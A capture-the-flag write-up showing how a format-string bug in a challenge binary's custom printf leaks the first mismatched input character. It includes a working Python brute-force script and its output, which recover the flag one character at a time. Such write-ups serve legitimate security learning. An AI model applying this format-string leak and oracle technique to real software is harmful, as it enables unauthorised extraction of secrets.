This task consisted of exploiting a program whose main purpose seems to be to read some input and compare it to the flag. To perform this operation, the program uses multiple threads and does some other suspicious things, but I didn’t use these for solving it (and in fact, the author confirms that the following solution was unintended).
Most of the code is irrelevant, except for the following snippet of the reconstructed C code that does the actual comparison:
for (i = 0; i < len_flag; ++i) {
if (globals->input[i] != flag[i]) {
myprintf(globals->input);
myprintf(" is not right.\n");
return 0;
}
}
myprintf(":)\n");
Here, myprintf()
is a custom function similar to the standard C printf()
,
but much less powerful: All it supports are the specifiers
%d
, %c
, %n
.
Just like with the normal printf()
, passing the input to myprintf()
as
a format string is a bug: It allows the attacker (i.e., us) to leak register
and stack contents by including format specifiers in the input.
While %n
is in principle usable to obtain code execution, the lack of
positional arguments and long integers (all the specifiers used only the
lower 32 bits) made me look for information leaks instead.
(I also found that the %n
was incorrectly implemented,
which was probably part of the intended solution…)
And indeed it turns out that the accessible arguments for the vulnerable
myprintf()
call include the value of the last character taken from the
user input, namely globals->input[i]
, in %edx
!
Since the error is printed after the first mismatch, this implies the
server will, on input some_guess%d %d
, leak the value of the first wrong
character in some_guess
. By ending some_guess
with a non-printable “canary” character
(I used 0x7f
), we can transform this oracle into one that tells us whether
some_guess
is a prefix of the flag or not.
From there on we do the usual character-wise brute-force search:
smth_chal@pwn-2:~$ cat >/tmp/tI74PPOWq56zNOBL
#!/usr/bin/env python3
import subprocess, string
alph = string.ascii_letters + string.digits + string.punctuation + string.whitespace
def o(g):
q = ''.join(g).encode() + b'\x7f%d %d\n'
p = subprocess.Popen('/home/smth_revenge/smth_revenge', stdin = subprocess.PIPE, stdout = subprocess.PIPE)
s, e = p.communicate(q)
assert not e
return b' 127 is not right' in s
flag = []
while not flag or flag[-1] != '}':
flag.append(None)
for x in alph:
flag[-1] = x
print('\r\x1b[K{}'.format(''.join(flag)), end = '')
if o(flag):
print('\r\x1b[K{}'.format(''.join(flag)))
break
else:
print('this should not happen ._.')
exit()
smth_chal@pwn-2:~$ chmod +x /tmp/tI74PPOWq56zNOBL
smth_chal@pwn-2:~$ /tmp/tI74PPOWq56zNOBL
C
CB
CBC
CBCT
CBCTF
CBCTF{
CBCTF{D
CBCTF{Db
CBCTF{DbD
CBCTF{DbD:
CBCTF{DbD:
CBCTF{DbD: D
CBCTF{DbD: De
CBCTF{DbD: Dea
CBCTF{DbD: Dead
CBCTF{DbD: Dead
CBCTF{DbD: Dead b
CBCTF{DbD: Dead by
CBCTF{DbD: Dead by
CBCTF{DbD: Dead by D
CBCTF{DbD: Dead by Da
CBCTF{DbD: Dead by Day
CBCTF{DbD: Dead by Dayt
CBCTF{DbD: Dead by Dayti
CBCTF{DbD: Dead by Daytim
CBCTF{DbD: Dead by Daytime
CBCTF{DbD: Dead by Daytime
CBCTF{DbD: Dead by Daytime S
CBCTF{DbD: Dead by Daytime Su
CBCTF{DbD: Dead by Daytime Sun
CBCTF{DbD: Dead by Daytime Sun
CBCTF{DbD: Dead by Daytime Sun l
CBCTF{DbD: Dead by Daytime Sun lo
CBCTF{DbD: Dead by Daytime Sun lol
CBCTF{DbD: Dead by Daytime Sun lolo
CBCTF{DbD: Dead by Daytime Sun lolol
CBCTF{DbD: Dead by Daytime Sun lololo
CBCTF{DbD: Dead by Daytime Sun lololol
CBCTF{DbD: Dead by Daytime Sun lololol}
smth_chal@pwn-2:~$